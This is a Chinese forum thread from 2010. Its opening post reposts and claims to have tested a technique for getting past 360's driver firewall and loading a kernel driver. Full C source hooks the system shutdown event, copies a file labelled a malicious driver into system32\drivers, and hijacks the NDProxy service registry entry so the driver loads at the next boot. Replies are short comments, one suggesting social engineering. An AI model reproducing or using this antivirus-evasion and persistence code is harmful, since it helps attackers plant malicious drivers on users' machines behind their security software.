找回密码
 加入我们

QQ登录

只需一步,快速开始

搜索
查看: 14340|回复: 9

转一个拦截关机信息加载驱动过360的例子——刚测试成功

 火... [复制链接]

16

主题

81

回帖

0

精华

银牌会员

积分
611
发表于 2010-12-19 14:31:44 | 显示全部楼层 |阅读模式
本帖最后由 9908006 于 2010-12-19 14:53 编辑

呵呵,不是以前在网上广为流传的马路货,刚测试了下,在360 7.5.0.2001下测试加载成功

利用Win32 API绕过360驱动防火墙

一开始,RK和ARK之间的“军备竞赛”比拼的是哪一方对Windows内核了解的更加深入——越底层就越能抢占到制高点。然而后来,ARK很不厚道的用“驱动防火墙”将RK进入内核的愿望击的粉碎。进不了内核,RK Coder们的种种奇技淫巧的施展自然大受限制。
    前两天翻看《黑客防线》时,看到鹿剑 的文章《绕过360驱动防火墙加载驱动结束360》中提出了一种绕过360驱动防火墙的思路——拦截系统的关闭消息,在系统关闭时写注册表。他在原文中说“在这个段站的时间里,用户可能看不到那个服务安装的提示框”。实现的方式就是在一个GUI程序里,注册一个WM_QUERYENDSESSION消息的处理函数OnQueryEndSession。当系统关闭时,会向程序发送WM_QUERYENDSESSION消息来通知程序“系统即将关闭,请做好善后工作”,此时OnQueryEndSession函数就会得到调用。如果将写注册表的操作放入这个函数中进行,就可以绕过360的拦截。具体的实现代码可以去找这篇文章看看。
    我自己没有尝试这种方式是否有效,只是觉得既然是要做一些见不得人的事,最好就不要加GUI了。于是就想看看能不能写一个控制台程序来实现同样的功能?于是查MSDN,看到了这个API——SetConsoleCtrlHandler,它能够给一个控制台程序注册一个处理例程,当用户在控制台下按下了ctr+c,ctr+break等按键时,系统就调用这个注册的处理例程通知程序。这个处理例程的原型为
    BOOL WINAPI HandlerRoutine(DWORD dwCtrlType);
    dwCtrlType的值表示了系统调用这个函数的原因,MSDN中列出了几种调用情况(具体请查阅MSDN)其中就包括CTRL_SHUTDOWN_EVENT、CTRL_LOGOFF_EVENT以及CTRL_CLOSE_EVENT
分别表示系统关机事件,用户注销事件、以及用户关闭控制台事件。
    然而在实际测试时发现,即便是给控制台程序注册了这么一个处理例程,在系统关闭的时候,360依然可以拦截到在处理例程中写注册表的操作!就在山重水复疑无路的时候,另一个API SetProcessShutdownParameters然我重新看到一丝曙光,这个函数的原型为
   
    BOOL WINAPI SetProcessShutdownParameters(
    __in          DWORD dwLevel,
    __in          DWORD dwFlags
);
    其中dwLevel表示在系统怪关闭时,进程被Kill掉的优先级,优先级越高自然死的就越快,MSDN中定义这个dwLevel的取值为以下几种情况——
   Value Meaning  
   000-0FF    System reserved last shutdown range.
   100-1FF    Application reserved last shutdown range.
   200-2FF    Application reserved "in between" shutdown range.
   300-3FF    Application reserved first shutdown range.
   400-4FF    System reserved first shutdown range.
   MSDN还补充了一句“All processes start at shutdown level 0x280”
   一开始我以为Application的dwLevel取值只能是100-1FF或者200-2FF,在这些值之间测试,写注册表的操作依然可以被360拦截,最后索性喝出去了直接赋0,大不了蓝屏呗~没想到竟然还真行了!
   以下是具体的实现代码

#include <windows.h>
#include <stdio.h>

/*恶意驱动路径*/
#define MAL_DRIVER_FILE_PATH "C:\\QQ\\GRD_Tercent.sys"
/*目标路径,将恶意驱动复制到系统驱动文件夹下*/
#define SYS_DRIVER_FILE_PATH "C:\\Windows\\system32\\drivers\\GRD_Tercent.sys"
/*在注册表Services键下的一个子键*/
#define SUB_KEY_PATH  "SYSTEM\\CurrentControlSet\\Services\\NDProxy"
/*NDProxy中ImagePath的值*/
#define IMAGE_PATH_VALUE "system32\\drivers\\GRD_Tercent.sys"
BOOL g_bExit    =    FALSE;
BOOL CtrlHandler(DWORD fdwCtrlType )  
{

     
    /*当系统关闭的时候会调用该函数,并传入fdwCtrlType说明调用的原因*/
    if(fdwCtrlType == CTRL_CLOSE_EVENT||
        fdwCtrlType    ==    CTRL_LOGOFF_EVENT ||
        fdwCtrlType == CTRL_SHUTDOWN_EVENT)
     
    {
     
        /*将驱动文件复制到系统目录下*/
        BOOL bRet    =    CopyFile(MAL_DRIVER_FILE_PATH,SYS_DRIVER_FILE_PATH,FALSE);
        if(FALSE == bRet)
        {
            g_bExit    =    TRUE;
            return 1;
        }
         
        /*打开注册表键*/
        HKEY    hKey    =    NULL;
        LONG    lRet    =    ERROR_SUCCESS;
        lRet    =    RegOpenKey(HKEY_LOCAL_MACHINE,SUB_KEY_PATH,&hKey);
        if (ERROR_SUCCESS    !=    lRet)
        {
         
            g_bExit    =    TRUE;
            return 1;
        }
        DWORD dwData    =    0;
        /*将NDProxy下的ImagePath设置为驱动的路径*/
        lRet    =    RegSetValueEx(hKey,"ImagePath",0,REG_SZ,IMAGE_PATH_VALUE,strlen(IMAGE_PATH_VALUE));
        if (ERROR_SUCCESS    !=    lRet)
        {
            RegCloseKey(hKey);
            g_bExit    =    TRUE;
            return 1;
        }
        DWORD dwStart    =    1;
        /*将NDProxy设置为1表示自启动*/
        lRet    =    RegSetValueEx(hKey,"Start",0,REG_DWORD,(const BYTE*)&dwStar,sizeof(dwStart));
        if (ERROR_SUCCESS    !=    lRet)
        {
            RegCloseKey(hKey);
            g_bExit    =    TRUE;
            return 1;
        }
        RegCloseKey(hKey);
        /*结束进程*/
        ExitProcess(0);
    }
    return 1;
}


int main()
{
     
    /*将该进程在系统关闭时的优先级设置为最低*/
    if(!SetProcessShutdownParameters(0x00,FALSE))
    {
        printf("Error Code%d\r\n",GetLastError());
        return 0;
    }
    /*为该进程注册一个控制台处理例程*/
    if(    SetConsoleCtrlHandler((PHANDLER_ROUTINE)CtrlHandler,
                          TRUE)    !=    TRUE)
    {
        printf("Error Code%d\r\n",GetLastError());
        return 0;
    }
     
    /*这里什么都不干,等待系统的关闭*/
    do
    {
        Sleep(1000);     
    }
    while(g_bExit != TRUE);
     
    return 0;
}
    重新启动后,系统就会自动加载驱动GRD_Tercen.sys,在这个驱动里什么都没干,只是打印了若干个MJ1112而已
    以调试方式启动虚拟机,可以在windbg中看到这是没有加载驱动时,系统启动时输出的信息
   

评分

参与人数 1 +100 +100 水晶币 +100 +100 收起 理由
Tesla.Angela + 100 + 100 + 100 + 100 欢迎进入核心会员组!!!

查看全部评分

857

主题

2632

回帖

2

精华

管理员

此生无悔入华夏,  长居日耳曼尼亚。  

积分
36130
发表于 2010-12-21 21:11:28 | 显示全部楼层
这种东西一旦发出来,马上作废。
本网站最菜的人 该用户已被删除
发表于 2010-12-24 22:06:40 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽

857

主题

2632

回帖

2

精华

管理员

此生无悔入华夏,  长居日耳曼尼亚。  

积分
36130
发表于 2010-12-25 00:24:46 | 显示全部楼层
过360加载驱动不难,因为真正决定是否加载驱动的不是360,而是用户。。。
大家往社会工程学的方面想想。。。

0

主题

2

回帖

0

精华

初来乍到

积分
8
发表于 2011-10-6 00:39:53 | 显示全部楼层
共享是好事情,但是探子很多啊。。

2

主题

72

回帖

0

精华

银牌会员

积分
597
发表于 2011-10-24 20:44:21 | 显示全部楼层
这种方式在WIN7下好象无效

0

主题

17

回帖

0

精华

铜牌会员

积分
104
发表于 2011-11-10 11:02:24 | 显示全部楼层
不错的文章  学习了
头像被屏蔽

3

主题

35

回帖

3

精华

铂金会员

积分
4902
发表于 2011-11-15 17:14:04 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽

7

主题

414

回帖

1

精华

铂金会员

积分
2173
发表于 2013-4-10 02:20:59 | 显示全部楼层
支持

30

主题

693

回帖

0

精华

钻石会员

积分
2815
发表于 2015-5-24 14:17:38 | 显示全部楼层
感谢楼主的分享 文章不错
您需要登录后才可以回帖 登录 | 加入我们

本版积分规则

快速回复 返回顶部 返回列表